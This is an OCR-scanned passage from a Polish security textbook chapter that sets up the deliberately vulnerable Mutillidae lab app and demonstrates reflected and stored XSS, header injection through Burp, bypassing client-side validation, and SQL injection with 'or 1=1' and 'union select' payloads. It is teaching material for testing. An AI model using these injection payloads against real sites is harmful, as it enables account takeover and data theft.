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Podatnosci i luki
w zabezpieczeniach
aplikacji internetowych

W tym rozdziale poznasz szereg podstawowych zagadnien dotyczacych podatnosci aplikacji in-
ternetowych na ataki. Bezpieczenstwo aplikacji to kategoria sama w sobie, a poniewaz potrzebo-
waliby$my calej ksigzki, aby oméwi¢ wszystkie tematy zwigzane z bezpieczenstwem aplikacji,
w tym rozdziale oméwimy tylko te najbardziej oczywiste.

Wiedza, ktora zdobedziesz w tym rozdziale, pozwoli Ci testowa¢ aplikacje internetowe przed
ich wdrozeniem w $rodowisku produkcyjnym. Jezeli interesuje Cie¢ modna w branzy bezpieczen-
stwa kariera bug bounty hunter (fowca nagréd wyptacanych za znalezienie bledéw w oprogra-
mowaniu), zdecydowanie musisz do perfekeji opanowaé omawiane tutaj zagadnienia.

Metodologia DevSecOps (ang. Development — Security — Operations) w duzym uproszcze-
niu polega na zapewnieniu, ze potok produkcyjny bedzie w stanie dostarczy¢ bezpieczng aplika-
cje internetowa. Kazda firma musi wprowadza¢ zmiany na swojej stronie internetowej, ale zanim
takie zmiany zostang wdrozone w systemie produkcyjnym, powinny przej$¢ przez potok CI/CD
(ang. continuous integration/continuous deployment — ciagla integracja/ciagle dostarczanie).
Twoim zadaniem, jako analityka bezpieczenstwa, jest wykrycie wszelkich podatnosci i luk w za-
bezpieczeniach przed wdrozeniem zmian w $rodowisku produkcyjnym.

Jezeli cofniemy sie w czasie o 10 lub nawet wiecej lat, zauwazymy, ze kiedy$ wiekszo$¢ apli-
kacji byta uruchamiania lokalnie na komputerach, zwykle dziatajacych pod kontrola systemu
Windows lub Linux, ale obecnie trend ten ulegl zmianie i wigkszo$¢ projektdw jest oparta na
przegladarkach internetowych lub rozwigzaniach chmurowych.

203
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W tym rozdziale oméwimy nastepujace zagadnienia:
= Podatnosci typu XSS (ang. Cross-Site Scripting).
= Wstrzykiwanie kodu SQL (ang. SQL injection).
= Wstrzykiwanie polecen (ang. command injection)
= Dolgczanie plikow (ang. file inclusion).
= Podatnosci typu CSRF (ang. Cross-Site Request Forgery).

= Podatnosci przesylania plikdw.

Podatnosci w aplikacjach internetowych

Zaplecze aplikacji internetowych (ang. back-end) jest tworzone przy uzyciu réznych jezykow
programowania. Najpopularniejsze z nich to Java, C#, NET (Framework/Core) i PHP. Po inter-
fejsowej czedci aplikacji (ang. front-end) mozna spotka¢ rézne frameworki JavaScript, takie jak
Angular, React itp. Ponadto interfejsy uzytkownika aplikacji webowych czesto wykorzystuja
technologie CSS do dekorowania wygladu i modyfikowania dziatania stron internetowych.

Jako specjalista ds. bezpieczenstwa musisz zna¢ przynajmniej podstawowe zagadnienia zwig-
zane z podatno$ciami aplikacji internetowych na ataki. Powiniene$ réwniez wiedzie¢ od A do Z,
jak sie buduje takie aplikacje (a jak zwykle — najlepiej uczy¢ sie poprzez praktyke). Nie mozna
po prostu uzywaé skaneréw i wysyla¢ raportéw bez ich weryfikowania. Aby dokonac takiej we-
ryfikacji podatnosci jak profesjonalista, musisz wiedzie¢, jak takie aplikacje webowe sg budo-
wane. Na poczatku mozesz np. wybra¢ tylko jeden jezyk programowania dla zaplecza aplikacji
(np. C#, .NET Core) i jeden framework JavaScript dla front-endu (np. Angular).

Instalacja pakietu Mutillidae

Aby latwiej zilustrowa¢ zagadnienia zwigzane z podatnoéciami i lukami w zabezpieczeniach apli-
kacji webowych, wykorzystamy podatng na ataki aplikacje o nazwie Mutillidae, ktérg zainstalu-
jemy na naszym hoscie Ubuntu. W zasadzie moglibysmy uzy¢ odpowiedniego kontenera Doc-
kera zawierajacego te aplikacje (przyklad uzycia Dockera znajdziesz w dodatkach do tej ksigzki),
ale szczerze méwiac, zawsze lubie mie¢ kontrole nad przebiegiem instalacji. Aby zainstalowaé
i uruchomi¢ te aplikacje, powinienes$ wczeéniej wykona¢ nastepujace kroki:

1. Zainstaluj serwer WWW.

2. Skonfiguruj zapore sieciowa.

3. Zainstaluj PHP.

4. Zainstaluj i skonfiguruj baz¢ danych.

Instalacja serwera WWW Apache

W pierwszej kolejnoéci musimy zainstalowa¢ serwer WWW Apache, na ktérym bedzie hosto-
wana nasza witryna. Na tym etapie ksigzki powiniene$ juz wiedzie¢, jak postugiwac si¢ polece-
niami terminala:
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$ apt update 83 apt upgrade -y

$ apt install -y apache2 apache2-utils
$ a2enmod rewrite

$ systemctl restart apache2

$ systemctl enable apache2

Konfiguracja zapory sieciowej
Z pewnoécig nie chcialbys, aby zapora sieciowa Ubuntu blokowata komunikacje HTTP podczas
naszych testow. W systemie Ubuntu Linux sg preinstalowane dwa rodzaje zapér sieciowych:

= jptables,
= ufw.

Wykonamy teraz dwa polecenia, ktére zmienig ustawienia obu zap6r tak, aby nie blokowaly
naszego ruchu sieciowego (tak na wszelki wypadek):

$ iptables -I INPUT -p tcp --dport 80 -j ACCEPT
$ ufw allow http

Instalacja PHP
PHP jest jezykiem programowania, na ktérym oparta jest witryna Mutillidae. W systemie Ubuntu
musimy zainstalowa¢ framework PHP, aby mie¢ mozliwoé¢ jej uruchomienia:

$ apt install -y php7.4 libapache2-mod-php7.4 php7.4-mysql php-common php7.4-cli php7.4-
>common php7.4-json php7.4-opcache php7.4-readline php7.4-curl php7.4-mbstring php7.4-xml

Instalacja i konfiguracja bazy danych

Dane witryny musza by¢ przechowywane w bazie danych. Mutillidae bedzie zapisywaé swoje
dane w bazie MySQL. W naszym przykladzie zainstalujemy baze danych MariaDB, ktéra jest
zbudowana na silniku MySQL:

$ apt install mariadb-server mariadb-client -y
$ systemctl enable mariadb

Aby umozliwi¢ aplikacji internetowej dostep do tej bazy danych, musimy zaktualizowaé
uprawnienia uzytkownika root bazy danych. Aby wykonac¢ to zadanie, wydamy nastepujace po-
lecenia (zwrd¢ uwage, ze po wykonaniu pierwszego polecenia przejdziesz do trybu interaktyw-
nych polecenn MySQL):

$ mysql -u root

use mysql;

update user set authentication_string=PASSWORD('mutillidae') where user='root';
update user set plugin='mysql_native_password' where user='root';

flush privileges;

exit

VvV V.V VvV Vv

Jak wida¢, zmieniliémy hasto uzytkownika root namutillidae.
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Instalacja pakietu Mutillidae

Teraz gdy mamy juz zainstalowane wszystkie komponenty, musimy pobrac¢ pliki binarne strony
z serwisu GitHub. Oprocz tego musimy utworzy¢ folder mutillidae w katalogu /var/www/html
serwera WWW:

$ cd /var/www/html/

$ apt install git -y

§ git clone https://github.com/webpwnized/mutillidae.git mutillidae
§ systemctl restart apache2

Aby uruchomi¢ aplikacje internetowg Mutillidae, otworz przegladarke internetowg na swoim
serwerze Ubuntu i w pasku wpisz adres Tocalhost/muti11idae, jak pokazano na rysunku 8.1.

“— @ o @ | @ localhost/mutillidaefindex php?page=home phppopupnotificationCode=SUD e @

@« OWASP Mutillidae II: Keep Calm and Pwn On

Version: 2.7.14 Security Level: 0 (Hosed) Hints: Enabled (1 - Try easier) Not Logged In
Home Login/Register Toggle Hints Show Popup Hints Toqgle Security Enforce SSL Reset DB View Log View Captured Data

: Hints and Videos
T TIP: Click Hint and Videos
— »
5 »

ﬁ What's New? Click Here

@ Help Me! i Listing of vulnerabilities

Video Tutorials ' Rel A t:
Donate n
Want to Help?
u % Latest Version ’ Helpful hints and scripts
Video Tutorials
’ \‘ * Some Useful Firefox Add-ons @ Bug Report Email Address
Announcements

Rysunek 8.1. Strona gtéwna aplikacji Mutillidae

Przy pierwszej wizycie na stronie zostaniesz powiadomiony o tym, ze baza danych jest w try-
bie offline. Kliknij link Setup/Reset The DB (konfiguracja/resetuj baz¢ danych), a zostaniesz prze-
kierowany na strone¢ Reset DB (resetuj baze danych). Na ekranie pojawi si¢ okno dialogowe
z komunikatem o resecie bazy. Naci$nij przycisk OK, aby kontynuowa¢.

Podatnosci typu XSS (Cross-Site Scripting)

Podatnoéci typu XSS (ang. Cross-Site Scripting) to staby punkt, ktéry mozna wykorzystaé poprzez
wykonanie skryptow po stronie klienta w przegladarce ofiary (np. JavaScript). Podatnoé¢ taka
pojawia sie, gdy autor aplikacji nie sprawdza poprawnoéci danych wejsciowych na zapleczu apli-
kacji. Jezeli na stronie internetowej widzisz tekst, ktéry mozna modyfikowa¢ za pomocg danych
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wejsciowych wpisywanych przez uzytkownika, oznacza to, ze istnieje prawdopodobienstwo, iz
taka aplikacja jest podatna na atak XSS. Nie martw sie, jeSli teraz tego nie rozumiesz; przeéwi-
czymy to razem. Ponizej przedstawiam dwa typowe scenariusze podatnosci typu XSS:

= Podatnosci typu Reflected XSS.
= Podatnosci typu Stored XSS.

Podatnos¢ typu Reflected XSS

Podatnoé¢ typu Reflected XSS moze zosta¢ wykorzystana poprzez odpowiednie manipulowanie
dowolnym elementem wejéciowym (np. adresem URL, polem tekstowym, ukrytym polem itp.)
w celu wykonania skryptu JavaScript w przegladarce klienta. Aby prze¢wiczy¢ ten scenariusz,
wybierz z menu aplikacji opcje OWASP 2017/A7 - Cross Site Scripting (XSS)/Reflected (First Order)/
DNS Lookup (wyszukiwanie DNS). Na tej stronie mozesz po prostu uzyska¢ nazwe DNS kryjaca
sie za adresem IP, ktory podajesz w polu tekstowym. W polu Hostname/IP (nazwa hosta/adres
IP) wpisz adres 172.16.0.1 i naciénij przycisk Lookup DNS (wyszukiwanie DNS).

Przyjrzyj sie uwaznie wynikom pokazanym na rysunku 8.2. W pierwszym wierszu wynikéw
znajduje si¢ podany przez nas adres IP: Results for 172.16.0.1. Innymi stowy, w polu tekstowym
(lub inaczej méwiac, w polu wprowadzania danych przez uzytkownika) podalismy adres IP, ktéry
nastepnie zostal wyswietlony na stronie.

Who would you like to do a DNS lookup on?

Enter IP or hostname

Hostname/IP [172.16.0.1

Lookup DNS

( Results for 172.16.0.1

1.8.16.172.in-addr.arpa name = pfSense.KCorp.local.

Authoritative answers can be found from:

Rysunek 8.2. Mutillidae — wyszukiwanie DNS

Teraz w polu tekstowym Hostname/IP zastagpimy adres IP odpowiednim kodem JavaScript.
Jezeli nasz kod zostanie wykonany, bedzie to znaczylo, ze strona jest podatna na ataki typu
Reflected XSS.

Aby to sprawdzi¢, w polu tekstowym Hostname/IP wpisz nastepujacy kod JavaScript, ktory
wys$wietla na ekranie wyskakujace okno dialogowe:

<script> alert('Hello KCorp') </script>

Jezeli ten kod zadziala, bedzie to znaczylo, ze mozesz wykona¢ dowolny inny, réwniez zlo-
$liwy skrypt JavaScript. Warto zauwazy¢, ze Kali Linux posiada kompletny framework wspoma-
gajacy przeprowadzanie atakow JavaScript XSS — zobacz pakiet BeEF (ang. Browser Exploitation
Framework).

Jezeli teraz klikniesz przycisk Lookup DNS, skrypt zostanie wykonany, a w wyskakujacym
okienku pojawi si¢ komunikat widoczny na rysunku 8.3.
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Hello KCorp

Rysunek 8.3. Mutillidae — alert wyswietlony z poziomu skryptu

Aby ten atak zadzialal, trzeba przekona¢ ofiare do wejécia na podatna strone. W tym przy-
padku uzytkownik moze ztapa¢ przynete za pomoca zaawansowanego ataku socjotechnicznego

(np. phishingu).

Podatnosc typu Stored XSS

Podatno$¢ Stored XSS jest podobna do reflected XSS (w obu przypadkach wykonywany jest la-
dunek w postaci skryptu JavaScript). Jedyna réznica polega na tym, ze w przypadku Stored XSS
skrypt JavaScript jest zapisany w jakim$ systemie przechowywania danych (np. w bazie danych).
Taki rodzaj ataku jest bardziej niebezpieczny, poniewaz skrypt jest trwale obecny na podatnej
stronie. Kazdy uzytkownik, ktory odwiedzi t¢ strone, zostanie zainfekowany tadunkiem JavaScript.

Aby przetestowa¢ ten scenariusz w Mutillidae, wybierz opcje OWASP 2017/A7 — Cross Site
Scripting (XSS)/Persistent (Second Order)/Add To Your Blog (dodaj post do bloga). Strona, ktéra
sie otworzy, pozwoli Ci zapisa¢ posty z bloga w bazie danych zaplecza i kazdy zalogowany uzyt-
kownik bedzie mdgt je zobaczy¢. W naszym przyktadzie utworzymy na blogu posta zawieraja-
cego prosty kod JavaScript, ktéry wyswietli alert z liczba 0 (patrz rysunek 8.4).

Add New Blog Entry
N View Blogs
( Add blog for anonymous ]
[Note: <b>,<i> and <u> are now allowed in blog entries|
[<script=alert(@)</script> ]
-__.'\ View Blogs
1 Current Blog Entries
Name Date C t
1 |anonymous 2009-03-01 22:27:11 An anonymous blog? Huh?

Rysunek 8.4. Mutillidae — post na blogu
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Po naci$nigciu przycisku Save Blog Entry (zapisz wpis na blogu) zobaczysz wyskakujace okno
z komunikatem w postaci liczby 0. Jezeli sprobujesz wroci¢ na strone bloga, zawsze zobaczysz
ten wyskakujacy komunikat, poniewaz wpis zostal zapisany w bazie danych bloga.

Baze danych pakietu Mutillidae mozesz zresetowaé¢ w dowolnym momencie,
klikajac tacze Reset DB na gornym pasku menu.

Wykorzystywanie podatnosci XSS przy uzyciu nagtéwka

Innym sposobem na wstrzykniecie JavaScriptu na strong jest wykorzystanie nagtéwka zadania.
Jezeli administrator zapisuje wszystkie nagloéwki zadan w celu pdzniejszego przegladania i anali-
zowania, mozesz sprobowa¢ wykorzysta¢ to zachowanie, ale jak? Jezeli JavaScript zostanie zapi-
sany w nagléwku zadania, to gdy administrator odwiedzi logi, taki skrypt zostanie wykonany.
Aby przeéwiczy¢ ten scenariusz, uzyjemy strony Log, pokazanej na rysunku 8.5. Aby si¢ tam
dosta¢, z menu aplikacji Mutillidae wybierz opcje OWASP 2017/A7 — Cross Site Scripting (XSS)/
Persistent (Second Order)/Show Log (pokaz dziennik).

I Log ]

'\\L,_;;) Back Q Help Me!

Hints and Videos

|
|
‘ 7% 9 log records found @. Refresh Logs o Delete Logs

Hostname 1P Browser Agent Message Date/Time
| Mozilla/5.0 (X11; Ubuntu; Linux x86_64; Selected blog entries for 2020-07-06
122 [ 4270010 nv:78.0) Gecko/20100101 Firefox/78.0 anonymous 05:42:20
Mozilla/5.0 {X11; Ubuntu; Linux x86_64; 2020-07-06

User visited: add-to-your-blog.php

127.0.0.1 |127.0.0.1

rv:78.0) Gecko/20100101 Firefox/78.0 05:42:20

Rysunek 8.5. Mutillidae — strona dziennika (logéw)

Na stronie dziennikow zostang wyswietlone nagltéwki kazdego zadania internetowego skie-
rowanego do aplikacji Mutillidae. W trzeciej kolumnie znajduje si¢ informacja o agentach prze-
gladarek, pobrana z nagléwkéw zadan.

Uzyjemy teraz programu Burp do przechwycenia zadania i zmiany agenta przegladarki. Pod-
czas fazy enumeracji widziales juz przyklad, jak przygotowa¢ Burpa do przechwytywania zadan.
Aby to zadzialalo, nasz system musi spelni¢ nastepujace warunki:

= Przegladarka musi uzywac proxy (na porcie 8080).
= Musimy zatadowa¢ pakiet Burp Suite, otworzy¢ karte Proxy, a nast¢pnie subkarte
Intercept, na ktérej znajduje si¢ przycisk Intercept.

Jezeli wszystko jest przygotowane, przejdz na dowolng strong z witryny Mutillidae, zaczyna-
jac od strony gléwnej, i przechwy¢ ja za pomocg programu Burp (patrz rysunek 8.6).
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|- Dashboard ]Tarqet Tl‘ [0y Tlntruder ] Repeater T Sequencer TDecoder TComparer TExt!nder ]_

I Interzept l HTTP history | WebSockets history ] Options ]

&7 Requestto hittp://172 16.0.101:80

| Forward || Drep | | Interceptison | | Action

Raw ..Params THeaders T‘Hex ]

1 GET /mutillidae/index.php?page=home.php HTTF/1.1

2 Host: 172.16.0.101

3 User-Agent: Mozilla/S.0 (X11; Linux x86 _64; rv:68.0) Cecko/20100101 Firefox/6B.0

: Accept: text/html,application/xhtal+xml, application/xml;qmD,.9,%/% quD. B
Accept-Language: en-US, en:q=0.5

6 Accept-Encoding: gzip, deflate

7 Referer: http://172.16.0.101/nutillidae/ ?page=show-log.php

8 Connection: close

9 Cookie: PHPSESSID=4f4ecBbdaSc3b2443427d57796525103

10 Upgrade-Insecure-Requests: 1

11 If-Modified-Since: Fri, 03 Jul 2020 13:55:14 GMT

12 Cache-Control: max-age=0

Rysunek 8.6. Pakiet Burp — karta Proxy/Intercept

Zmodyfikuj warto$¢ pola User-Agent, zastepujac ja skryptem JavaScript generujacym alert
(patrz rysunek 8.7), a nastepnie naci$nij przycisk Forward (dalej). Po naci$nieciu tego przycisku
nalezy zatrzymac przechwytywanie. Aby to zrobié, nacisnij przycisk Intercept Is On (w przeciw-
nym razie strona internetowa nie zaladuje sie, poniewaz Burp bedzie ciggle czeka¢ na Twoje
dane). Zauwaz, ze kiedy zatrzymasz przechwytywanie w oknie Proxy/Intercept, Burp nadal be-
dzie kontynuowal przechwytywanie w tle, ale nie bedzie zatrzymywal wysylanych zadan i odbie-
ranych odpowiedzi.

¢’ Request to http://172.16.0.101:80
Forward [ Drop J Interceptis on | | Action
|Rﬂw IParams I Headers iHex i

1 GET /mutillidae/index.php?page=home.php HTTP/1.1
Host: 172.16.0.101

Bt ] HTTP history ]webSackels histery I Options ]

g application/x
» Accept-Language: en-US.en:g=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.16.0.101/nutillidas/?page=show-lcg.php
2 Connection: close

9 Cookie: PHPSESSID=4f2a6cBbdaScob2443427d57796525f03

10 Upgrade-TInsecure-Requests: 1

11 If-Modified-Since: Fri, 03 Jul 2020 13:55:14 GMT

12 Cache-Centrol: max-age=0
13

;application/xml;:qu0.9 %/%;q=0,8

Rysunek 8.7. Burp Suite — edycja pola User-Agent

Kiedy teraz powrdcisz do strony z logami, powiniene$ zobaczy¢ wyskakujace okno z alertem
JavaScript.

Pamigtaj, ze to, co tutaj zrobilismy, to atak typu Stored XSS; logi sa przechowywane w bazie
danych, wiec administrator moze je odczytywad, kiedy tylko zechce.

Omijanie walidacji w skryptach JavaScript

Walidacja w skryptach JavaScript jest czesto btednie rozumiana przez poczatkujacych programi-
stow, ktorzy implementujg ja w kodzie JavaScript na front-endzie, a zupelnie pomijaja na zaple-
czu aplikacji (w naszym przypadku zapleczem jest PHP). Burp Suite ponownie przyjdzie z pomoca
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i pozwoli nam przechwyci¢ zadanie, a nastepnie wstrzykna¢ odpowiedni fadunek. Aby wlaczy¢
w aplikacji Mutillidae walidacje w skryptach JavaScript, wybierz z menu opcje Toggle Security
(zmien ustawienia bezpieczenstwa) i ustaw poziom bezpieczefistwa na warto$¢ 1. Teraz sprobuj
wstrzykna¢ kod Hello JavaScript na stronie DNS Lookup, ktérej uzywaliémy wczeéniej. Jak sam
sie mogtes przekona¢, tym razem strona nie wykonata kodu JavaScript i wyswietlifa komunikat,
ze jest to niedozwolone, co zostalo pokazane na rysunku 8.8 (stalo si¢ tak, poniewaz tym razem
zadzialala walidacja w kodzie JavaScript po stronie front-endu).

Malicious characters are not allowed.

Don't listen to security people. Everyone knows if we just filter dangerous characters, injection is
not possible.

We use JavaScript defenses combined with filtering technology.

Both are such great defenses that you are stopped in your tracks.

Rysunek 8.8. Mutillidae — komunikat informujacy o wprowadzeniu niedozwolonych znakéw

Aby oming¢ walidacje JavaScript, przechwy¢ zadanie za pomoca programu Burp, nastepnie
wpisz poprawny adres IP (8.8.8.8, jak pokazano na rysunku 8.9) i naci$nij przycisk Lookup DNS.
Jezeli teraz przejdziesz na karte Burp Proxy, powinienes$ zobaczy¢ przechwycone zadanie sieciowe.

_J intareept T HTTP history Tw’ebSo(kgts history T Optiens ]

& Requestto http://172.16.0.101:80
[ Forward J | Drop ) r I_n_ti_lr_c:lp_tl_s _"ﬂ | Action |
[ Raw ]-Parnm; T Headers T'st.]

POST /mutillidaesindex.php?page=dns-lookup.php HTTP/1.1

Host: 172.16.0.101

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtel+xal.application/xml:q=0.9,%/*:0=0.8
Accept-Language: en-US,en;gq=0.5

Accept-Encoding: gzip, deflate

Referer: http://172.16.0.101/mutillidassindex. php?page=dns-lookup.php

3 Content-Type: application/x-www-form-urlencoded

9 Content-Length: 59

10 Connection: close

11 Cockie: PHPSESSID=4fd46cBbda5cob2443427d5779652503

12 Upgrade-Insecure-Requests: 1

12
l-il'targe‘t__hostﬂa‘e.s.S&dns-lookup-php—submﬂ~bu‘tton=Lookup+DNS I

S W T

Rysunek 8.9. Pakiet Burp — przechwytywanie tadunku

W tresci zadania POST widzimy adres IP. Na tym etapie wystarczy po prostu zastapi¢ adres IP
skryptem JavaScript, jak pokazano na rysunku 8.10.
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1 Cookie: PHPSESSID=4fd6cBbdaScob2443427d57796525f03
12 Upgrade-Insecure-Requests; 1

L-'{!tarqet_host:r.scdpt >alert (@) </script *'dns-l cokup-php-submit -button=Lookup+DNS

Rysunek 8.10. Burp Suite — JavaScript w polu target_host

Po wprowadzeniu zmian nacis$nij przycisk Forward i zatrzymaj przechwytywanie, naciskajac
przycisk Intercept Is On (przechwytywanie jest wiaczone). Gdy przejdziesz teraz do strony DNS
Lookup, powinienes zobaczy¢, ze skrypt JavaScript zostal wykonany pomyslnie. Dlaczego tak sie
stalo? Odpowiedz jest bardzo prosta — stalo si¢ tak dlatego, ze w kodzie PHP na zapleczu apli-
kacji nie ma walidacji (walidacja w kodzie JavaScript na front-endzie nie jest wystarczajacal).

Wstrzykiwanie kodu SQL

Wstrzykiwanie kodu SQL (ang. SQL injection; SQLi) jest moja ulubiong i jednoczeénie jedna
z najbardziej niebezpiecznych luk w zabezpieczeniach aplikacji sieciowych. SQLi pozwala ztosli-
wemu uzytkownikowi na wykonanie polecenn SQL poprzez przegladarke internetowa. Wbrew
pozorom za pomocg polecenn SQL mozna zrobi¢ bardzo wiele, np.:

= Odpytywac baze danych za pomocg polecenia select (np. mozna odczytaé wszystkie
rekordy z wybranych tabel i wykras¢ wrazliwe dane).

= Oming¢ strong logowania, uzywajac wyrazenia true jezyka SQL.
= Wykonywa¢ polecenia systemowe, a nawet uzyska¢é dostep do zdalnej powloki.

= Operowa¢ na danych za pomocg polecen SQL, takich jak INSERT, DELETE czy UPDATE.

Zapytania do bazy danych

Zanim przejdziemy do sposobéw wykorzystywania podatnosci na wstrzykiwanie kodu SQL,
pokaze kilka przykltadowych zapytan SQL. Nasza podatna na ataki aplikacja Mutillidae korzy-
sta z bazy danych o nazwie mutil1idae, w ktérej znajduje si¢ tabela o nazwie accounts (zobacz
rysunek 8.11).

« [l Databases
» = information_schema
~ = mutillidae
~ T Tables
~ F accounts
~ F Columns

1Z3cid (int)
meysername (text{65535))
m password (text(65535))
R mysignature (text{65535))
#xis_admin (varchar(5))
"¢ firstname (text({65535))
#* lastname (text(65535))

Rysunek 8.11. Tabela Accounts
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Na poczatek wykonamy proste polecenie — zapytamy o konto uzytkownika test, ktore juz
utworzyliémy wczesniej w aplikacji internetowej. Do wykonania tego zapytania uzyjemy pro-
gramu Dbeaver, ktdry jest klientem bazy danych wyposazonym w graficzny interfejs uzytkow-
nika, jak pokazano na rysunku 8.12.

DBeaver 7.1.2 - <none> Script

Help
T & &~ Auto O - localhost » 2 mutillidae » | 5

|| IT *<localhost> Script #2

SELECT username, password
: FROM mutillidae.accounts where username='test' and password='test';
| &

| Bi accounts £
|
| T SELECT username, password FROM 1|23

sk ysername U1 Aot password T3

|| ] test
Rysunek 8.12. Zapytanie SQL na tabeli Accounts

Harid

A moze uda nam sie oszuka¢ baze danych, tak aby wyswietlita wszystkie rekordy z tabeli
accounts? Uzyjemy znaku komentarza (--), aby zignorowac czes¢ zapytania. Pamietaj, ze po po-
dwojnym myslniku nalezy zawsze doda¢ spacje. Na przyklad w formularzu User Lookup (wyszu-
kiwanie uzytkownikéw) na stronie http://localhost/mutillidae/index.php?page=user-info.php
sprobuj wpisaé nastepujace dane, jak pokazano na rysunku 8.13:

Username=test' or 1=1 --
Password=dowolne

Pl ter user and password
to view account details
Name [test’ or 1=1 -
Password !

Rysunek 8.13. Préba logowania z wykorzystaniem SQLi

Pojedynczy cudzystéw zamyka cigg znakéw z nazwg uzytkownika, a instrukcja or 1=1 zawsze
zwraca wartos$¢ logiczng true. Na rysunku 8.14 pokazano, jak bedzie wygladato takie zapytanie SQL.

Jak wida¢ na rysunku, wykonanie takiego zapytania spowodowalo wyswietlenie wszystkich
rekord6w z tabeli accounts, zatem powinno zosta¢ takze wykonane w aplikacji Mutillidae, gdy
naci$niemy przycisk View Account Details (wyswietl szczegdly konta). W normalnych warun-
kach wy$wietlone powinny zosta¢ tylko informacje o jednym koncie, ale w tym przypadku, dzieki
odpowiednio przygotowanemu zapytaniu SQLA, z tabeli accounts zostang pobrane wszystkie re-
kordy, jak pokazano na rysunku 8.15.
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7 *<localhost= Script 22
» SELECT username, password
FROM mutillidae.accounts where username='test' or 1=1 and ng';
il accounts 2
«+I'SELECT username, password FROM1 e
o s ysername 11 ~c password V1
S 1| i | adminpass
i 2| adrian somepassword
o 3 | john monkey
& 4 |jeremy password
= 5 |bryce password
6 | samurai samurai
7 |jim password
8 | bobby password
9 |simba password
10 | dreveil password
11 | scotty password
12 |cal password
13 |john password
14 | kevin a2
15 | dave set
16 | patches tortoise
17 | racky stripes
18 [ tim lanmaster53
19 | ABaker SoSecret
20 | PPan NotTelling
21 | CHook JollyRoger
T 22 |james i<3devs
S 23 |ed pentest
- 24 | test test
€5

Rysunek 8.14. Zapytanie SQLi

[Results for “test’ or 1=1 -- *.24 records found.|

Username=admin
Password=adminpass
Signature=g0t r00t?

Username=adrian
P d=somepassword

Signature=Zombie Films Rock!

Username=john
Password=monkey
Signature=| like the smell of confunk

Username=jeremy
Password=password
Signature=d1373 1337 speak

Username=hryce
Password=password
Signature=| Love SANS

Username=samurai
Password=samurai

Caruinn frnle

Rysunek 8.15. Rezultat logowania z wykorzystaniem wstrzykiwania kodu SQL

Obchodzenie strony logowania

Logicznie rzecz biorac, w fazie logowania kod PHP uzywa nastepujacego algorytmu postepowania:
1. Pobierz nazwe uzytkownika z pola tekstowego Username oraz haslo z pola Password.
2. Jezeli w bazie danych istnieje konto takiego uzytkownika, to zaloguj go.

3. Jezeli w bazie danych nie ma takiego konta uzytkownika, wyswietl komunikat o bledzie.
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Korzystajac z zapytania pokazanego na rysunku 8.12, wykorzystamy ponownie ten sam la-
dunek, ktéry wstrzykneliSmy w poprzednim przykltadzie. Tym razem uzyjemy strony logowania
pokazanej na rysunku 8.16.

®% OWASP Mutillidae II: Keep Calm and

sion: 2.7.14 Security Level: 0 (Hosed) Hints: Enabled (1 - Scrlpt Klddle)

( Login

|
g@ Back (@ Help Me!

Hints and Videos

r

Please sign-in

Username [test'or 1=1--

Password [weees|

Rysunek 8.16. Mutillidae — logowanie z wykorzystaniem wstrzykiwania kodu SQL

Przypominam, ze wyrazenie or 1=1 zawsze zwraca warto$¢ true, a wszystko, co znajduje sie
po nim, zostanie zignorowane ze wzgledu na znaki komentarza (podwdjny myslnik), a zatem
jezeli baza danych jako rezultat zapytania zwrdci wartoé¢ true, uzytkownik bedzie mégt zalogo-
wac sie, korzystajac z pierwszego rekordu uzytkownika znajdujacego si¢ w tabeli accounts, czyli
w naszym przypadku bedzie to admin, jak pokazano na rysunku 8.17 (zawarto$¢ tabeli mozesz
zobaczy¢ na rysunku 8.14).

© (@ -0 localhost/mutillidas/ UpNotificationCode=AU1 - 2 1 i @

e OWASP Mutillidae II: Keep Calm and Pwn On

1
2.7.14 Security Level: 0 (Hosed) Hints: Enabled (1 - 5crlpt Klddle)) Logged In Admin: admin [#

Home Logout Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log  View Captured Data

Hints and Videos

? What Should | Do?

Rysunek 8.17. Mutillidae — rezultat logowania z wykorzystaniem wstrzykiwania kodu SQL

TIP: Click Hint and Videos
on each page

7 What's New? Click Here

Kup ksigzke Pole¢ ksigzke


https://helion.pl/rf/kalibi
https://helion.pl/rt/kalibi

216 Rozdziat8 ® Podatnosciiluki w zabezpieczeniach aplikacji internetowych

Wykonywanie polecen w bazie danych za pomoca SQLi

W tym podrozdziale wykorzystamy kolejna stabos¢ zapytan SQL, ktéra pozwoli nam na wyko-
nanie polecert SQL. W poprzednim przykladzie widzieliémy kombinacje wyrazenia OR i komen-
tarza, dzieki ktérym zapytanie zawsze zwracalo warto$¢ true. W tej sekeji dowiesz sig, jak uzywaé
polecenia union select do zapytania o dane, ktérych poszukujesz.

W aplikacji Mutillidae przejdz na strone User Lookup i wprowadz dane pokazane na rysunku 8.18.

Please enter username and password
to view account details

Name |" union select 1,2 -
Password [sssnnnes |
View Account Details

Rysunek 8.18. Skfadnia polecenia union select — wstrzykiwanie kodu SQL

Po naci$nieciu przycisku View Account Details pojawi sie nastepujacy komunikat o bledzie:

/var/www/html/mutillidae/classes/MySQLHandler.php on Tine 224: Error executing query:

connect_errno: 0

errno: 1222

error: The used SELECT statements have a different number of columns

client_info: mysqlnd 7.4.3

host_info: 127.0.0.1 via TCP/IP

) Query: SELECT * FROM accounts WHERE username='' union select 1,2 -- ' AND

“>password="anything' (0) [Exception]

Otrzymany komunikat informuje, ze tabela accounts, ktdrej probujemy uzy¢, ma wiecej niz
dwie kolumny. Ogolnie rzecz biorgc, mozemy teraz zwigksza¢ liczbg¢ kolumn podawanych w za-
pytaniu az do momentu, gdy komunikat o bledzie przestanie sie pojawia¢. Aby Cie jednak nie
zanudza¢, pojde troche na skroéty i od razu powiem, ze tabela accounts ma siedem kolumn (patrz
rysunek 8.11). Na rysunku 8.19 pokazano, co si¢ stanie, gdy w zapytaniu wprowadzimy prawi-
dlows liczbe kolumn.

Please enter username and password
to view account details

Name [* union select 1,2,3,4,5,6,7 -
Password sreeeees
| View Account Detalls

Dant have an account? Piease register here
Results for "' union select 1,2,3,4,5,6,7 -- ".1 records found.

| Username=2
Password=3
Signature=4

Rysunek 8.19. Zapytanie SQLi — Union Select
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Z danych wyjsciowych wynika, ze w polu Username udalo nam sie wyswietli¢ liczbe 2, w polu
Password liczbe 3, a w polu Signature liczbe 4. W nastepnym kroku zastgpimy liczbe 2 poleceniem
VERSION(), ktore powinno wyswietli¢ numer wersji bazy danych, jak pokazano na rysunku 8.20.

